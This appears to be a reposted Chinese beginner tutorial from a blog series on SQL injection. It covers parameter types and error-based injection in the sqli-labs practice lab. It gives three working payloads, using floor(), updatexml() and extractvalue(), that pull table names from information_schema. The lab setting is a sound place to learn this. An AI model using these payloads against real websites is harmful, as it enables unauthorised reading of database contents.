网络安全菜鸟学习之漏洞篇——sql(四)

今天我们先来补充一个知识点———参数类型。
还是拿sqli-labs举例。在Less-1中,数据库的查询语句是$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";很明显这里的id是以字符串形式接收的。
然而在Less-2中,数据库的查询语句是$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";很明显这里的id并不是以字符串形式接收的,而是数字型接受的。
那么这个就给我们了一个启示:以后在遇见参数为一串英文的时候,首先要反应过来它是字符型需要加符号,当我们遇到数字的时候首先需要判断它的参数类型。
补充就补充到那儿,我们今天首主要学习的是sql的报错注入。首先,我们先了解一下为什么学习它,学习它有什么用,或者说它的用途是什么。在很多情况下我们对一个网站进行注入的时候它并没有无回显,但是这并不代表着它没有注入漏洞。遇到这种情况的时候,我们就需要用到sql的报错注入。我们的sql报错注入一般是使用Floor()、ExtractValue()和UpdateXML()这三个函数。但是值得注意的是MySQL 5.1.5版本后才包含ExtractValue()和UpdateXML()这2个函数,所以说我们在使用之前需要进行信息收集确定MYSQL的版本号。
现在我们拿Less-5为例,如图在一开始的时候是没有数据回显的,现在我把3种方法的payload写出来,并展示出它们的回显结果。在这里插入图片描述
floor:
?id=-1’ and(select 1 from (select count(*),concat((select table_name from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+在这里插入图片描述

updatexml:
?id=1’ and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables limit 0,1)),1))–+在这里插入图片描述

extractvalue:
?id=1’ and extractvalue(1, concat(0x5c,(select table_name from information_schema.tables limit 1)))–+在这里插入图片描述

注:1.updatexml()函数和extractvalue()是MYSQL对XML文档数据进行查询和修改的XPATH函数;
2.0x3a之类的都是ASCII;
3.concat是把参数产生的字符串连接起来形成返回结果。
今天这一节的内容并不是要理解它的原理,只要会用就可以了。当然如果想理解它可以参考一下以下几篇文章:
https://blog.csdn.net/zpy1998zpy/article/details/80650540
https://blog.csdn.net/weixin_33849215/article/details/94513334?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param
https://www.cnblogs.com/xishaonian/p/6250444.html
(ps:求各位看官给点评论和关注)

猜你喜欢

转载自blog.csdn.net/gqzszzy/article/details/108103870
今日推荐